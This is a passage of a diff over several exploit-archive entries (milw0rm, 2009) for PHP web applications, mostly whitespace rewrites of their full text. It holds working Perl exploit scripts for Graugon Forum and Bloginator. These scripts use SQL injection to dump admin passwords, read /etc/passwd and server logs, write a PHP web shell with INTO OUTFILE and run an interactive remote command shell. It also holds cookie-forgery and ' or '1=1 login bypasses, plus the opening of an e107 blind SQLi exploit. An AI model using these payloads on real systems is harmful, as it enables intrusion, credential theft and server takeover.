+my $url = $host."/view_profile.php?id=osirys' union all select concat(0x64657461696C73,username,0x3a,password,0x64657461696C73),0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,19 from admins_lf2713 order by '*";
+my $re = get_req($url);
+if ($re =~ /details(.+):(.+)details/) {
+    $user = $1;
+    $pass = $2;
+    print "[\$] User: $user\n";
+    print "[\$] Pass: $pass\n";
+}
+else {
+    print "[-] Can't extract admin details\n\n";
+}
+
+print "[*] Generating error through GET request ..\n";
+
+get_req($host."/osirys_log_test".$rand);
+
+print "[*] Cheeking Apache Error Log path ..\n";
+
+while (($log = <@error_logs>)&&($gotcha != 1)) {
+    $tmp_path = $host."/view_profile.php?id=osirys' union all select load_file('".$log."'),0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,19 order by '*";
+    $re = get_req($tmp_path);
+    if ($re =~ /File does not exist: (.+)\/osirys_log_test$rand/) {
+        $site_path = $1."/";
+        $gotcha = 1;
+        print "[*] Error Log path found -> $log\n";
+        print "[*] Website path found -> $site_path\n";
+        &inj_shell;
+    }
+}
+
+$gotcha == 1 || die "[-] Couldn't file error_log !\n";
+
+sub inj_shell {
+    my $attack  = $host."/view_profile.php?id=osirys' union all select 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,'".$php_c0de."',19 into outfile '".$site_path."/1337.php";
+    get_req($attack);
+    my $test = get_req($host."/1337.php");
+    if ($test =~ /st4rt/) {
+        print "[*] Shell succesfully injected !\n";
+        print "[&] Hi my master, do your job now [!]\n\n";
+        $exec_path = $host."/shell.php";
+        &exec_cmd;
+
+    }
+    else {
+        print "[-] Shell not found \n[-] Exploit failed\n\n";
+        exit(0);
+    }
+}
+
+sub exec_cmd {
+    $h0st !~ /www\./ || $h0st =~ s/www\.//;
+    print "shell[$h0st]\$> ";
+    $cmd = <STDIN>;
+    $cmd !~ /exit/ || die "[-] Quitting ..\n";
+    $exec_url = $host."/1337.php?cmd=".$cmd;
+    my $re = get_req($exec_url);
+    my $content = tag($re);
+    if ($content =~ /st4rt(.+)\*\*19/) {
+        my $out = $1;
+        $out =~ s/\$/ /g;
+        $out =~ s/\*/\n/g;
+        chomp($out);
+        print "$out\n";
+        &exec_cmd;
+    }
+    else {
+        $c++;
+        $cmd =~ s/\n//;
+        print "bash: ".$cmd.": command not found\n";
+        $c < 3 || die "[-] Command are not executed.\n[-] Something wrong. Exploit Failed !\n\n";
+        &exec_cmd;
+    }
+
+}
+
+sub get_req() {
+    $link = $_[0];
+    my $req = HTTP::Request->new(GET => $link);
+    my $ua = LWP::UserAgent->new();
+    $ua->timeout(4);
+    my $response = $ua->request($req);
+    return $response->content;
+}
+
+sub cheek() {
+    my $host = $_[0];
+    if ($host =~ /http:\/\/(.*)/) {
+        return 1;
+    }
+    else {
+        return 0;
+    }
+}
+
+sub get_input() {
+    my $host = $_[0];
+    $host =~ /http:\/\/(.*)/;
+    $s_host = $1;
+    $s_host =~ /([a-z.-]{1,30})\/(.*)/;
+    ($h0st,$path) = ($1,$2);
+    $path =~ s/(.*)/\/$1/;
+    $full_det = $h0st." ".$path;
+    return $full_det;
+}
+
+sub tag() {
+    my $string = $_[0];
+    $string =~ s/ /\$/g;
+    $string =~ s/\s/\*/g;
+    return($string);
+}
+
+sub banner {
+    print "\n".
+          "  ---------------------------\n".
+          "         Graugon Forum       \n".
+          "      Command Inj Exploit    \n".
+          "          by Osirys          \n".
+          "  ---------------------------\n\n";
+}
+
+sub help() {
+    my $error = $_[0];
+    if ($error == -1) {
+        &banner;
+        print "\n[-] Input data failed ! \n";
+    }
+    elsif ($error == -2) {
+        &banner;
+        print "\n[-] Bad hostname address !\n";
+    }
+    print "[*] Usage : perl $0 http://hostname/cms_path\n\n";
+    exit(0);
+}
+
+# milw0rm.com [2009-02-20]
diff --git a/platforms/php/webapps/8167.txt b/platforms/php/webapps/8167.txt
index 92c6cd3aa..410bdbc68 100755
--- a/platforms/php/webapps/8167.txt
+++ b/platforms/php/webapps/8167.txt
@@ -1,42 +1,41 @@
-
-  :::::::-.   ...    ::::::.    :::.
-   ;;,   `';, ;;     ;;;`;;;;,  `;;;
-   `[[     [[[['     [[[  [[[[[. '[[
-    $$,    $$$$      $$$  $$$ "Y$c$$
-    888_,o8P'88    .d888  888    Y88
-    MMMMP"`   "YmmMMMM""  MMM     YM
-
-   [ Discovered by dun \ dun[at]strcpy.pl ]
-
- ###################################################
- #  [ isiAJAX v1 ]   SQL Injection Vulnerability   #
- ###################################################
- # 
- # Script: "isiAJAX v1"
- #
- # Script site: http://isiajax.sourceforge.net/
- # Download: http://sourceforge.net/project/showfiles.php?group_id=169754
- #
- # [SQL] Vuln: http://site.com/isiAJAX/ejemplo/paises.php?id=-1+UNION+SELECT+1,USER()--
- #             http://isiajax.sourceforge.net/demos/practicos/busqueda/paises.php?id=-1+UNION+SELECT+1,CONCAT_WS(char(58),id,nombre,apellidos,id_pais,edad,telefono,email)+from+usuarios--
- #
- # Bug: ./isiAJAX/ejemplo/paises.php (linez: 10-14)
- #
- # ...
- #	$paise = mysql_query("SELECT id, nombre FROM pais WHERE id_continente=$_GET[id]", $conexion);     //	
- #	while ($paises = mysql_fetch_row($paise)) {				                                          //  SQL inj.
- #	?>	<option value="<?=$paises[0];?>"><?=$paises[1];?></option>                                    //
- #	<?
- #	}
- # ... 	 
- #
- #
- ###############################################
- # Greetz: D3m0n_DE * str0ke * and otherz..
- ###############################################
-
- [ dun / 2009 ] 
-
-*******************************************************************************************
-
-# milw0rm.com [2009-03-06]
+  :::::::-.   ...    ::::::.    :::.
+   ;;,   `';, ;;     ;;;`;;;;,  `;;;
+   `[[     [[[['     [[[  [[[[[. '[[
+    $$,    $$$$      $$$  $$$ "Y$c$$
+    888_,o8P'88    .d888  888    Y88
+    MMMMP"`   "YmmMMMM""  MMM     YM
+
+   [ Discovered by dun \ dun[at]strcpy.pl ]
+
+ ###################################################
+ #  [ isiAJAX v1 ]   SQL Injection Vulnerability   #
+ ###################################################
+ # 
+ # Script: "isiAJAX v1"
+ #
+ # Script site: http://isiajax.sourceforge.net/
+ # Download: http://sourceforge.net/project/showfiles.php?group_id=169754
+ #
+ # [SQL] Vuln: http://site.com/isiAJAX/ejemplo/paises.php?id=-1+UNION+SELECT+1,USER()--
+ #             http://isiajax.sourceforge.net/demos/practicos/busqueda/paises.php?id=-1+UNION+SELECT+1,CONCAT_WS(char(58),id,nombre,apellidos,id_pais,edad,telefono,email)+from+usuarios--
+ #
+ # Bug: ./isiAJAX/ejemplo/paises.php (linez: 10-14)
+ #
+ # ...
+ #	$paise = mysql_query("SELECT id, nombre FROM pais WHERE id_continente=$_GET[id]", $conexion);     //	
+ #	while ($paises = mysql_fetch_row($paise)) {				                                          //  SQL inj.
+ #	?>	<option value="<?=$paises[0];?>"><?=$paises[1];?></option>                                    //
+ #	<?
+ #	}
+ # ... 	 
+ #
+ #
+ ###############################################
+ # Greetz: D3m0n_DE * str0ke * and otherz..
+ ###############################################
+
+ [ dun / 2009 ] 
+
+*******************************************************************************************
+
+# milw0rm.com [2009-03-06]
diff --git a/platforms/php/webapps/8243.txt b/platforms/php/webapps/8243.txt
index f18c1d608..8ea3f2a06 100755
--- a/platforms/php/webapps/8243.txt
+++ b/platforms/php/webapps/8243.txt
@@ -1,85 +1,85 @@
-##########################################################################
-
-Author = FireShot , Jacopo Vuga.
-Mail = fireshot<at>autistici<dot>org
-
-Software = Bloginator V1A
-Download = http://kamads.com/kamads_ads/download.php?email=bloginator&ID=0
-
-Greets to = Osirys, Myral, str0ke
-
-###########################################################################
-
-Vulnerability = Insicure Cookie Handling
-
-###########################################################################
-
-[CODE]
-
-[URL] www.site.com/bloginator/articleCall.php
-
-global $name,$password,$returnLink;
-$p_name = strip_tags(substr($_POST['name'],0,32));
-$p_password = strip_tags(substr($_POST['password'],0,32));
-if(crypt($p_name , $name) == $name and crypt($p_password,$password) == $password )
- {
-
-           setcookie("identifyYourself","you are identified");
-           print "Login successfull<br>";
-           print $returnLink;
-       }
-   else {print "Wrong username or password";
-   }
-}
-
-[/CODE]
-
-
-[EXPLOIT]
-
-javascript:document.cookie = "identifyYourself=you+are+identified; path=/";
-
-[/EXPLOIT]
-
-############################################################################
-
-Vulnerability = SQL injection
-
-############################################################################
-
-[CODE]
-
-[URL] www.site.com/bloginator/articleCall.php
-
-$action = @$_GET['action'];
-[...]
-$id = $_GET['id'];
-[...]
-function editArticle($id,$message)
-{
-global $returnLink;
-$query = "select * FROM articles WHERE id='$id'";
-$sql = mysql_query($query) or die(mysql_query());
-$title = mysql_result($sql,0,'title');
-$title = htmlentities($title);
-$article = mysql_result($sql,0,'article');
-$article = htmlentities($article);
-$link = mysql_result($sql,0,'link');
-$link = htmlentities($link);
-
-startHTML("Edit ID # ".$id);
-?>
-
-[/CODE]
-
-[EXPLOIT]
-
-As Admin (Post Cookie exploit) you can inj arbitrary SQL code in the query.
-
-www.site.com/action=edit&id=fireshot' union select 1,2,3,4,load_file('/etc/passwd'),6,7 order by '*
-
-[/EXPLOIT]
-
-############################################################################## 
-
-# milw0rm.com [2009-03-19]
+##########################################################################
+
+Author = FireShot , Jacopo Vuga.
+Mail = fireshot<at>autistici<dot>org
+
+Software = Bloginator V1A
+Download = http://kamads.com/kamads_ads/download.php?email=bloginator&ID=0
+
+Greets to = Osirys, Myral, str0ke
+
+###########################################################################
+
+Vulnerability = Insicure Cookie Handling
+
+###########################################################################
+
+[CODE]
+
+[URL] www.site.com/bloginator/articleCall.php
+
+global $name,$password,$returnLink;
+$p_name = strip_tags(substr($_POST['name'],0,32));
+$p_password = strip_tags(substr($_POST['password'],0,32));
+if(crypt($p_name , $name) == $name and crypt($p_password,$password) == $password )
+ {
+
+           setcookie("identifyYourself","you are identified");
+           print "Login successfull<br>";
+           print $returnLink;
+       }
+   else {print "Wrong username or password";
+   }
+}
+
+[/CODE]
+
+
+[EXPLOIT]
+
+javascript:document.cookie = "identifyYourself=you+are+identified; path=/";
+
+[/EXPLOIT]
+
+############################################################################
+
+Vulnerability = SQL injection
+
+############################################################################
+
+[CODE]
+
+[URL] www.site.com/bloginator/articleCall.php
+
+$action = @$_GET['action'];
+[...]
+$id = $_GET['id'];
+[...]
+function editArticle($id,$message)
+{
+global $returnLink;
+$query = "select * FROM articles WHERE id='$id'";
+$sql = mysql_query($query) or die(mysql_query());
+$title = mysql_result($sql,0,'title');
+$title = htmlentities($title);
+$article = mysql_result($sql,0,'article');
+$article = htmlentities($article);
+$link = mysql_result($sql,0,'link');
+$link = htmlentities($link);
+
+startHTML("Edit ID # ".$id);
+?>
+
+[/CODE]
+
+[EXPLOIT]
+
+As Admin (Post Cookie exploit) you can inj arbitrary SQL code in the query.
+
+www.site.com/action=edit&id=fireshot' union select 1,2,3,4,load_file('/etc/passwd'),6,7 order by '*
+
+[/EXPLOIT]
+
+############################################################################## 
+
+# milw0rm.com [2009-03-19]
diff --git a/platforms/php/webapps/8244.txt b/platforms/php/webapps/8244.txt
index 04797c14a..6e4dd7fa4 100755
--- a/platforms/php/webapps/8244.txt
+++ b/platforms/php/webapps/8244.txt
@@ -1,289 +1,289 @@
-##########################################################################
-
-Author = FireShot , Jacopo Vuga.
-Thx to = Osirys for develop the Exploitation Code with me
-Mail = fireshot<at>autistici<dot>org / osirys<at>autistici<dot>org
-
-Vulnerability = SQL Command Injection (mq = off)
-Software = Bloginator V1A
-Download = http://kamads.com/kamads_ads/download.php?email=bloginator&ID=0
-
-Greets to = Myral, str0ke
-
-###########################################################################
-
-[CODE]
-
-
-[URL] www.site.com/bloginator/articleCall.php
-
-global $name,$password,$returnLink;
-$p_name = strip_tags(substr($_POST['name'],0,32));
-$p_password = strip_tags(substr($_POST['password'],0,32));
-if(crypt($p_name , $name) == $name and crypt($p_password,$password) == $password )
-{
-
-          setcookie("identifyYourself","you are identified");
-          print "Login successfull<br>";
-          print $returnLink;
-      }
-  else {print "Wrong username or password";
-  }
-}
-[...]
-$action = @$_GET['action'];
-[...]
-$id = $_GET['id'];
-[...]
-function editArticle($id,$message)
-{
-global $returnLink;
-$query = "select * FROM articles WHERE id='$id'";
-$sql = mysql_query($query) or die(mysql_query());
-$title = mysql_result($sql,0,'title');
-$title = htmlentities($title);
-$article = mysql_result($sql,0,'article');
-$article = htmlentities($article);
-$link = mysql_result($sql,0,'link');
-$link = htmlentities($link);
-
-startHTML("Edit ID # ".$id);
-?>
-
-[/CODE]
-
-
-[EXPLOIT]
-
-#!/usr/bin/perl
-
-use IO::Socket;
-use LWP::UserAgent;
-
-my $host = $ARGV[0];
-my $rand = int(rand 9) +1;
-
-my @error_logs  =  qw(
-                     /var/log/httpd/error.log
-                     /var/log/httpd/error_log
-                     /var/log/apache/error.log
-                     /var/log/apache/error_log
-                     /var/log/apache2/error.log
-                     /var/log/apache2/error_log
-                     /logs/error.log
-                     /var/log/apache/error_log
-                     /var/log/apache/error.log
-                     /usr/local/apache/logs/error_log
-                     /etc/httpd/logs/error_log
-                     /etc/httpd/logs/error.log
-                     /var/www/logs/error_log
-                     /var/www/logs/error.log
-                     /usr/local/apache/logs/error.log
-                     /var/log/error_log
-                     /apache/logs/error.log
-                   );
-
-my $php_c0de   =  "<?php echo \"st4rt\";system(\$_GET[cmd]);?>";
-
-($host) || help("-1");
-cheek($host) == 1 || help("-2");
-&banner;
-
-$datas = get_input($host);
-$datas =~ /(.*) (.*)/;
-($h0st,$path) = ($1,$2);
-
-
-print "[*] Generating error through GET request ..\n";
-
-get_req($host."/osirys_log_test".$rand);
-
-print "[*] Cheeking Apache Error Log path ..\n";
-
-while (($log = <@error_logs>)&&($gotcha != 1)) {
-   my $regexp = "File does not exist: (.+)\/osirys_log_test$rand";
-   my $sql_load_file = "/articleCall.php?action=edit&id=osirys' union select 1,2,3,4,load_file('".$log."'),6,7 order by '*";
-   $re = sql_socket($sql_load_file,$regexp,"1");
-   if ($re !~ /Failed/) {
-       $site_path = $re;
-       $ok = 1;
-   }
-   if ($ok == 1) {
-       print "[*] Error Log path found -> $log\n";
-       print "[*] Website path found -> $site_path\n";
-       &inj_shell;
-   }
-   else {
-       print "[-] Couldn't file error_log !\n";
-   }
-}
-
-sub inj_shell {
-   my $attack  = "/articleCall.php?action=edit&id=osirys' union select 1,2,3,4,'".$php_c0de."',6,7 into outfile '".$site_path."/1337.php";
-   my $regexp  = "st4rt";
-   my $re = sql_socket($attack,$regexp,"2");
-   if ($re == 1) {
-       print "[*] Shell succesfully injected !\n";
-       print "[&] Hi my master, do your job now [!]\n\n";
-       $exec_path = $host."/1337.php";
-       &exec_cmd;
-
-   }
-   else {
-       print "[-] Shell not found \n[-] Exploit failed\n\n";
-       exit(0);
-   }
-}
-
-sub exec_cmd {
-   $h0st !~ /www\./ || $h0st =~ s/www\.//;
-   print "shell[$h0st]\$> ";
-   $cmd = <STDIN>;
-   $cmd !~ /exit/ || die "[-] Quitting ..\n";
-   my $exec_path_ = $exec_path."?cmd=".$cmd;
-   my $re = get_req($exec_path_);
-   my $content = tag($re);
-   if ($content =~ /st4rt(.+)\*\*6/) {
-       my $out = $1;
-       $out =~ s/\$/ /g;
-       $out =~ s/\*/\n/g;
-       chomp($out);
-       print "$out\n";
-       &exec_cmd;
-   }
-   else {
-       $c++;
-       $cmd =~ s/\n//;
-       print "bash: ".$cmd.": command not found\n";
-       $c < 3 || die "[-] Command are not executed.\n[-] Something wrong. Exploit Failed !\n\n";
-       &exec_cmd;
-   }
-}
-
-sub sql_socket() {
-
-   my($sql,$regexp,$way) = @_;
-   $sql = tag_encode($sql);
-
-   my $url = $path."/".$sql;
-
-   my $data = "GET ".$url." HTTP/1.1\r\n".
-              "Host: ".$h0st."\r\n".
-              "Keep-Alive: 300\r\n".
-              "Connection: keep-alive\r\n".
-              "Content-Type: application/x-www-form-urlencoded\r\n".
-              "Cookie: identifyYourself=you+are+identified;\r\n".
-              "Content-Length: 0\r\n\r\n".
-              "\r\n";
-
-   my $socket   =  new IO::Socket::INET(
-                                            PeerAddr => $h0st,
-                                            PeerPort => '80',
-                                            Proto    => 'tcp',
-                                       ) or die "[-] Can't connect to $h0st:80\n[?] $! \n\n";
-
-   $socket->send($data);
-
-   if ($way == 1) {
-       while ((my $e = <$socket>)&&($stop != 1)) {
-           if ($e =~ /$regexp/) {
-               $gotcha = $1;
-               $stop = 1;
-           }
-       }
-   }
-   elsif ($way == 2) {
-       my $re = get_req($host."/1337.php");
-       if ($re =~ /st4rt/) {
-           $gotcha = 1;
-           $stop = 1;
-       }
-       else {
-           $gotcha = 0;
-           $stop = 0;
-       }
-   }
-   if ($stop == 1) {
-       return($gotcha);
-   }
-   else {
-       return("Failed");
-   }
-
-}
-
-sub get_req() {
-   $link = $_[0];
-   my $req = HTTP::Request->new(GET => $link);
-   my $ua = LWP::UserAgent->new();
-   $ua->timeout(4);
-   my $response = $ua->request($req);
-   return $response->content;
-}
-
-sub cheek() {
-   my $host = $_[0];
-   if ($host =~ /http:\/\/(.*)/) {
-       return 1;
-   }
-   else {
-       return 0;
-   }
-}
-
-sub get_input() {
-   my $host = $_[0];
-   $host =~ /http:\/\/(.*)/;
-   $s_host = $1;
-   $s_host =~ /([a-z.-]{1,30})\/(.*)/;
-   ($h0st,$path) = ($1,$2);
-   $path =~ s/(.*)/\/$1/;
-   $full_det = $h0st." ".$path;
-   return $full_det;
-}
-
-sub tag() {
-   my $string = $_[0];
-   $string =~ s/ /\$/g;
-   $string =~ s/\s/\*/g;
-   return($string);
-}
-
-sub tag_encode() {
-   my $sql = $_[0];
-   $sql =~ s/ /\%20/g;
-   $sql =~ s/</\%3C/g;
-   $sql =~ s/>/\%3E/g;
-   $sql =~ s/"/\%22/g;
-   return($sql);
-}
-
-sub banner {
-   print "\n".
-         "  ---------------------------\n".
-         "     SQL Command Injection   \n".
-         "       via Cookie Bypass     \n".
-     "         Bloginator V1A      \n".
-         "     by FireShot & Osirys    \n".
-         "  ---------------------------\n\n";
-}
-
-sub help() {
-   my $error = $_[0];
-   if ($error == -1) {
-       &banner;
-       print "\n[-] Input data failed ! \n";
-   }
-   elsif ($error == -2) {
-       &banner;
-       print "\n[-] Bad hostname address !\n";
-   }
-   print "[*] Usage : perl $0 http://hostname/cms_path\n\n";
-   exit(0);
-}
-
-[/EXPLOIT]
-
-############################################################################ 
-
-# milw0rm.com [2009-03-19]
+##########################################################################
+
+Author = FireShot , Jacopo Vuga.
+Thx to = Osirys for develop the Exploitation Code with me
+Mail = fireshot<at>autistici<dot>org / osirys<at>autistici<dot>org
+
+Vulnerability = SQL Command Injection (mq = off)
+Software = Bloginator V1A
+Download = http://kamads.com/kamads_ads/download.php?email=bloginator&ID=0
+
+Greets to = Myral, str0ke
+
+###########################################################################
+
+[CODE]
+
+
+[URL] www.site.com/bloginator/articleCall.php
+
+global $name,$password,$returnLink;
+$p_name = strip_tags(substr($_POST['name'],0,32));
+$p_password = strip_tags(substr($_POST['password'],0,32));
+if(crypt($p_name , $name) == $name and crypt($p_password,$password) == $password )
+{
+
+          setcookie("identifyYourself","you are identified");
+          print "Login successfull<br>";
+          print $returnLink;
+      }
+  else {print "Wrong username or password";
+  }
+}
+[...]
+$action = @$_GET['action'];
+[...]
+$id = $_GET['id'];
+[...]
+function editArticle($id,$message)
+{
+global $returnLink;
+$query = "select * FROM articles WHERE id='$id'";
+$sql = mysql_query($query) or die(mysql_query());
+$title = mysql_result($sql,0,'title');
+$title = htmlentities($title);
+$article = mysql_result($sql,0,'article');
+$article = htmlentities($article);
+$link = mysql_result($sql,0,'link');
+$link = htmlentities($link);
+
+startHTML("Edit ID # ".$id);
+?>
+
+[/CODE]
+
+
+[EXPLOIT]
+
+#!/usr/bin/perl
+
+use IO::Socket;
+use LWP::UserAgent;
+
+my $host = $ARGV[0];
+my $rand = int(rand 9) +1;
+
+my @error_logs  =  qw(
+                     /var/log/httpd/error.log
+                     /var/log/httpd/error_log
+                     /var/log/apache/error.log
+                     /var/log/apache/error_log
+                     /var/log/apache2/error.log
+                     /var/log/apache2/error_log
+                     /logs/error.log
+                     /var/log/apache/error_log
+                     /var/log/apache/error.log
+                     /usr/local/apache/logs/error_log
+                     /etc/httpd/logs/error_log
+                     /etc/httpd/logs/error.log
+                     /var/www/logs/error_log
+                     /var/www/logs/error.log
+                     /usr/local/apache/logs/error.log
+                     /var/log/error_log
+                     /apache/logs/error.log
+                   );
+
+my $php_c0de   =  "<?php echo \"st4rt\";system(\$_GET[cmd]);?>";
+
+($host) || help("-1");
+cheek($host) == 1 || help("-2");
+&banner;
+
+$datas = get_input($host);
+$datas =~ /(.*) (.*)/;
+($h0st,$path) = ($1,$2);
+
+
+print "[*] Generating error through GET request ..\n";
+
+get_req($host."/osirys_log_test".$rand);
+
+print "[*] Cheeking Apache Error Log path ..\n";
+
+while (($log = <@error_logs>)&&($gotcha != 1)) {
+   my $regexp = "File does not exist: (.+)\/osirys_log_test$rand";
+   my $sql_load_file = "/articleCall.php?action=edit&id=osirys' union select 1,2,3,4,load_file('".$log."'),6,7 order by '*";
+   $re = sql_socket($sql_load_file,$regexp,"1");
+   if ($re !~ /Failed/) {
+       $site_path = $re;
+       $ok = 1;
+   }
+   if ($ok == 1) {
+       print "[*] Error Log path found -> $log\n";
+       print "[*] Website path found -> $site_path\n";
+       &inj_shell;
+   }
+   else {
+       print "[-] Couldn't file error_log !\n";
+   }
+}
+
+sub inj_shell {
+   my $attack  = "/articleCall.php?action=edit&id=osirys' union select 1,2,3,4,'".$php_c0de."',6,7 into outfile '".$site_path."/1337.php";
+   my $regexp  = "st4rt";
+   my $re = sql_socket($attack,$regexp,"2");
+   if ($re == 1) {
+       print "[*] Shell succesfully injected !\n";
+       print "[&] Hi my master, do your job now [!]\n\n";
+       $exec_path = $host."/1337.php";
+       &exec_cmd;
+
+   }
+   else {
+       print "[-] Shell not found \n[-] Exploit failed\n\n";
+       exit(0);
+   }
+}
+
+sub exec_cmd {
+   $h0st !~ /www\./ || $h0st =~ s/www\.//;
+   print "shell[$h0st]\$> ";
+   $cmd = <STDIN>;
+   $cmd !~ /exit/ || die "[-] Quitting ..\n";
+   my $exec_path_ = $exec_path."?cmd=".$cmd;
+   my $re = get_req($exec_path_);
+   my $content = tag($re);
+   if ($content =~ /st4rt(.+)\*\*6/) {
+       my $out = $1;
+       $out =~ s/\$/ /g;
+       $out =~ s/\*/\n/g;
+       chomp($out);
+       print "$out\n";
+       &exec_cmd;
+   }
+   else {
+       $c++;
+       $cmd =~ s/\n//;
+       print "bash: ".$cmd.": command not found\n";
+       $c < 3 || die "[-] Command are not executed.\n[-] Something wrong. Exploit Failed !\n\n";
+       &exec_cmd;
+   }
+}
+
+sub sql_socket() {
+
+   my($sql,$regexp,$way) = @_;
+   $sql = tag_encode($sql);
+
+   my $url = $path."/".$sql;
+
+   my $data = "GET ".$url." HTTP/1.1\r\n".
+              "Host: ".$h0st."\r\n".
+              "Keep-Alive: 300\r\n".
+              "Connection: keep-alive\r\n".
+              "Content-Type: application/x-www-form-urlencoded\r\n".
+              "Cookie: identifyYourself=you+are+identified;\r\n".
+              "Content-Length: 0\r\n\r\n".
+              "\r\n";
+
+   my $socket   =  new IO::Socket::INET(
+                                            PeerAddr => $h0st,
+                                            PeerPort => '80',
+                                            Proto    => 'tcp',
+                                       ) or die "[-] Can't connect to $h0st:80\n[?] $! \n\n";
+
+   $socket->send($data);
+
+   if ($way == 1) {
+       while ((my $e = <$socket>)&&($stop != 1)) {
+           if ($e =~ /$regexp/) {
+               $gotcha = $1;
+               $stop = 1;
+           }
+       }
+   }
+   elsif ($way == 2) {
+       my $re = get_req($host."/1337.php");
+       if ($re =~ /st4rt/) {
+           $gotcha = 1;
+           $stop = 1;
+       }
+       else {
+           $gotcha = 0;
+           $stop = 0;
+       }
+   }
+   if ($stop == 1) {
+       return($gotcha);
+   }
+   else {
+       return("Failed");
+   }
+
+}
+
+sub get_req() {
+   $link = $_[0];
+   my $req = HTTP::Request->new(GET => $link);
+   my $ua = LWP::UserAgent->new();
+   $ua->timeout(4);
+   my $response = $ua->request($req);
+   return $response->content;
+}
+
+sub cheek() {
+   my $host = $_[0];
+   if ($host =~ /http:\/\/(.*)/) {
+       return 1;
+   }
+   else {
+       return 0;
+   }
+}
+
+sub get_input() {
+   my $host = $_[0];
+   $host =~ /http:\/\/(.*)/;
+   $s_host = $1;
+   $s_host =~ /([a-z.-]{1,30})\/(.*)/;
+   ($h0st,$path) = ($1,$2);
+   $path =~ s/(.*)/\/$1/;
+   $full_det = $h0st." ".$path;
+   return $full_det;
+}
+
+sub tag() {
+   my $string = $_[0];
+   $string =~ s/ /\$/g;
+   $string =~ s/\s/\*/g;
+   return($string);
+}
+
+sub tag_encode() {
+   my $sql = $_[0];
+   $sql =~ s/ /\%20/g;
+   $sql =~ s/</\%3C/g;
+   $sql =~ s/>/\%3E/g;
+   $sql =~ s/"/\%22/g;
+   return($sql);
+}
+
+sub banner {
+   print "\n".
+         "  ---------------------------\n".
+         "     SQL Command Injection   \n".
+         "       via Cookie Bypass     \n".
+     "         Bloginator V1A      \n".
+         "     by FireShot & Osirys    \n".
+         "  ---------------------------\n\n";
+}
+
+sub help() {
+   my $error = $_[0];
+   if ($error == -1) {
+       &banner;
+       print "\n[-] Input data failed ! \n";
+   }
+   elsif ($error == -2) {
+       &banner;
+       print "\n[-] Bad hostname address !\n";
+   }
+   print "[*] Usage : perl $0 http://hostname/cms_path\n\n";
+   exit(0);
+}
+
+[/EXPLOIT]
+
+############################################################################ 
+
+# milw0rm.com [2009-03-19]
diff --git a/platforms/php/webapps/8477.txt b/platforms/php/webapps/8477.txt
index 38d520617..1b6a28439 100755
--- a/platforms/php/webapps/8477.txt
+++ b/platforms/php/webapps/8477.txt
@@ -1,27 +1,27 @@
--------------------------AllaH AkbaR-------------------------------
-Hot Project - Version 7  (Auth Bypass) Remote Sql Injecion   
----------------------------------------------------------------------------
-Discovered By: HCOCA_MAN     ALGERIAN HaCkEr 
-Mail: s1ql@hotmail.com
-Site:http://www.snakespc.com/sc/index.php
-Chi3arona houa :  Serra7 merra7 , koulchi mderra7>>>>
-             Aflawa Kamikaz Wa4rin Fi kol Bla4s 
--------------------------SNAKES TEAM-------------------------------------
-Script:
-http://www.hotproject.com
--------------------------SNAKES TEAM-------------------------------------
-Exploit:
------------
-http://www.hotproject.com/demo
-Test  >>>>>>
-Email Address:    ' or '1=1
-Password:           ' or '1=1
--------------------------SNAKES TEAM-------------------------------------
-Super  Cristal :::Snakeps::::DrEaDFuL:::yassine_enp:::His0k4:::
-Houssamix:::sunhouse2:::aSSaSSin_HaCkErS:::
-THE INJECTOR:::ALMADJHOOL:::Th3 g0bL!N::: Dr-HTmL
---------------------------SNAKES TEAM------------------------------------
-ALL www.SnakespC.com/sc>>>> (  Members )
-Str0ke >>>>>>>Milw0rm
-
-# milw0rm.com [2009-04-17]
+-------------------------AllaH AkbaR-------------------------------
+Hot Project - Version 7  (Auth Bypass) Remote Sql Injecion   
+---------------------------------------------------------------------------
+Discovered By: HCOCA_MAN     ALGERIAN HaCkEr 
+Mail: s1ql@hotmail.com
+Site:http://www.snakespc.com/sc/index.php
+Chi3arona houa :  Serra7 merra7 , koulchi mderra7>>>>
+             Aflawa Kamikaz Wa4rin Fi kol Bla4s 
+-------------------------SNAKES TEAM-------------------------------------
+Script:
+http://www.hotproject.com
+-------------------------SNAKES TEAM-------------------------------------
+Exploit:
+-----------
+http://www.hotproject.com/demo
+Test  >>>>>>
+Email Address:    ' or '1=1
+Password:           ' or '1=1
+-------------------------SNAKES TEAM-------------------------------------
+Super  Cristal :::Snakeps::::DrEaDFuL:::yassine_enp:::His0k4:::
+Houssamix:::sunhouse2:::aSSaSSin_HaCkErS:::
+THE INJECTOR:::ALMADJHOOL:::Th3 g0bL!N::: Dr-HTmL
+--------------------------SNAKES TEAM------------------------------------
+ALL www.SnakespC.com/sc>>>> (  Members )
+Str0ke >>>>>>>Milw0rm
+
+# milw0rm.com [2009-04-17]
diff --git a/platforms/php/webapps/8495.pl b/platforms/php/webapps/8495.pl
index f8258b371..d2fb7569f 100755
--- a/platforms/php/webapps/8495.pl
+++ b/platforms/php/webapps/8495.pl
@@ -1,236 +1,236 @@
-#!/usr/bin/env perl
-#
-# e107 <= 0.7.15 "extended_user_fields" Blind SQL Injection Exploit
-#
-# Description
-# -------------------------------------------------------------------
-# e107 contains one flaw that allows an attacker to carry out an SQL
-# injection attack. The issue is due to the "usersettings.php" script 
-# not properly saniting user-supplied input to the hide[] key. 
-# This may allow an attacker to inject or manipulate sql queries in
-# the backend database if magic_quotes_gpc = off.
-# -------------------------------------------------------------------
-# Code Details (usersettings.php) 
-# -------------------------------------------------------------------
-# Line 433 - 441 
-#
-# if($ue_fields) {
-#    $hidden_fields = implode("^", array_keys($_POST['hide'])); <------ {1}
-#     
-#     if($hidden_fields != "")
-#     {
-#	 $hidden_fields = "^".$hidden_fields."^";  
-#     }
-#     $ue_fields .= ", user_hidden_fields = '".$hidden_fields."'"; <---- {2}
-#   }
-#
-# Line 470 - 476
-#  
-#  if($ue_fields) 
-#  {
-#    [etc..]
-#    $sql->db_Update("user_extended", $ue_fields." WHERE user_extended_id = '".intval($inp)."'");
-#  }  
-#  
-# ue[] POST variable needs a valid key
-# such as "aim","msn" or other user_extended_fields
-# (@fields array). 
-#
-# Fix this sql injection using (php function)
-# mysql_real_escape_string to the POST 'hide' key,
-# otherwise find a way to fix it. dont care
-# ------------------------------------------
-# Discovered & Written 
-# by Juri Gianni aka yeat - staker[at]hotmail[dot]it
-#  
-# Thanks to
-# ---------------------------------------------
-# JosS,girex,str0ke,certaindeath,plucky
-# #zeroidentity chan - http://zeroidentity.org
-# ---------------------------------------------
